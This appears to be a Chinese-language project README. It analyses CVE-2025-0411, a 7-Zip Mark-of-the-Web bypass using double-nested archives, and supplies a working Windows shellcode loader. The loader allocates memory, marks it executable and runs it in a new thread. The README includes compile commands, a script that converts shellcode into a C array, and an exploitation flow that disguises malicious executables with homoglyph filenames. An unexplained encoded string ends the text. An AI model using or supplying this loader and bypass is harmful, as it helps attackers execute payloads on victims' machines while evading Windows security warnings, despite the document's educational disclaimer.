项目标题与描述
CVE-2025-0411 — 7-Zip Mark-of-the-Web (MoTW) Bypass漏洞分析
本项目包含两个核心组成部分:
- 对CVE-2025-0411安全漏洞的全面技术分析,该漏洞影响7-Zip压缩软件,允许攻击者通过双重嵌套归档文件绕过Windows的安全警告机制。
- 一个Shellcode加载器实现示例,演示了如何在Windows环境中加载和执行内存中的Shellcode。
项目旨在为安全研究人员提供深入的技术分析和实际代码示例,以增强对Windows安全机制和漏洞利用技术的理解。
功能特性
CVE-2025-0411分析部分
- 漏洞概述:详细说明7-Zip中存在的Mark-of-the-Web (MoTW)绕过漏洞
- 技术细节:提供完整的CVE ID、受影响组件、攻击向量、复杂性分析和影响评估
- 时间线追踪:从漏洞发现到公开披露、补丁发布和官方收录的完整时间线
- 缓解建议:提供实用的防护措施和安全配置建议
- 真实案例:分析该漏洞在钓鱼攻击中的实际利用情况
Shellcode加载器部分
- 内存操作:使用Windows API在内存中分配、复制和执行Shellcode
- 权限控制:动态修改内存页权限以实现代码执行
- 线程管理:创建独立线程执行Shellcode,保持主程序稳定性
- 跨平台编译:支持使用MinGW-w64工具链编译为Windows可执行文件
安装指南
Shellcode加载器编译要求
系统要求
- Windows操作系统
- 或支持交叉编译的Linux/macOS系统
编译工具
- MinGW-w64 GCC编译器(x86_64-w64-mingw32-g++)
- Windows SDK(用于Windows本地编译)
编译步骤
-
安装MinGW-w64编译工具链
# Ubuntu/Debian sudo apt-get install mingw-w64 # macOS brew install mingw-w64 -
编译Shellcode加载器
x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s -O2 -
在Windows系统上运行编译后的可执行文件
分析工具要求
- 7-Zip v5.8.1之前的版本(用于漏洞复现)
- 文本编辑器(查看和分析代码)
- 基本的逆向工程和安全分析工具
使用说明
Shellcode加载器使用示例
基础使用
- 将您的Shellcode转换为C数组格式
- 替换示例代码中的
p[]数组内容 - 编译并运行生成的可执行文件
Shellcode格式转换示例
# Python示例:将二进制文件转换为C数组
with open('shellcode.bin', 'rb') as f:
data = f.read()
print('unsigned char p[] = {')
for i, byte in enumerate(data):
print(f'0x{byte:02x},', end=' ')
if (i + 1) % 16 == 0:
print()
print('};')
编译和运行
# 编译
x86_64-w64-mingw32-g++ -o loader.exe loader.cpp -s -O2 -fpermissive
# 运行(在Windows上)
loader.exe
CVE-2025-0411漏洞研究
- 环境搭建:安装受影响的7-Zip版本(v5.8.1之前)
- 测试归档创建:构建双重嵌套的ZIP归档文件
- 安全测试:在受控环境中验证MoTW绕过效果
- 防护验证:测试补丁后的7-Zip版本是否修复漏洞
核心代码
Shellcode加载器实现
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
DWORD oldprotect = 0; // 保存原始内存保护属性
// Shellcode数组 - 需要替换为实际的Shellcode
unsigned char p[] = {
// calc.exe shellcode 或其他payload
// 示例:此处应填入实际的Shellcode字节
};
unsigned int len = sizeof(p); // 计算Shellcode长度
// 分配可读写内存区域用于存放Shellcode
void * payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将Shellcode复制到分配的内存中
RtlMoveMemory(payload_mem, p, len);
// 修改内存保护属性为可执行(PAGE_EXECUTE_READ)
BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);
// 如果内存保护修改成功,创建线程执行Shellcode
if ( rv != 0 ) {
// 创建新线程执行Shellcode
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) payload_mem, 0, 0, 0);
// 等待线程执行完成
WaitForSingleObject(th, -1);
}
return 0;
}
// 编译命令:
// x86_64-w64-mingw32-g++ .\loader.cpp -o loader.exe -s
CVE-2025-0411漏洞利用原理(概念验证)
## 漏洞利用流程
1. **创建双重嵌套归档结构**
- 外层ZIP:包含内层ZIP文件
- 内层ZIP:包含恶意可执行文件
2. **利用7-Zip处理缺陷**
- 7-Zip在提取双重嵌套归档时会去除MoTW标记
- Windows安全机制无法识别处理后的文件来源
3. **社会工程结合**
- 使用同形异义词(Homoglyph)文件名伪装
- 诱使用户提取看似无害的归档文件
## 技术要点分析
- **攻击向量**:本地提取操作
- **用户交互**:需要用户手动提取归档
- **权限要求**:普通用户权限即可
- **主要影响**:安全机制绕过 -> 代码执行
重要安全声明: 本文提供的代码和信息仅供教育和研究目的使用。在任何未授权系统上运行此代码都是非法和不道德的行为。安全研究应在合法授权的测试环境中进行,并遵守所有适用的法律和道德准则。 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6sjashZT796D8ULbOex/+j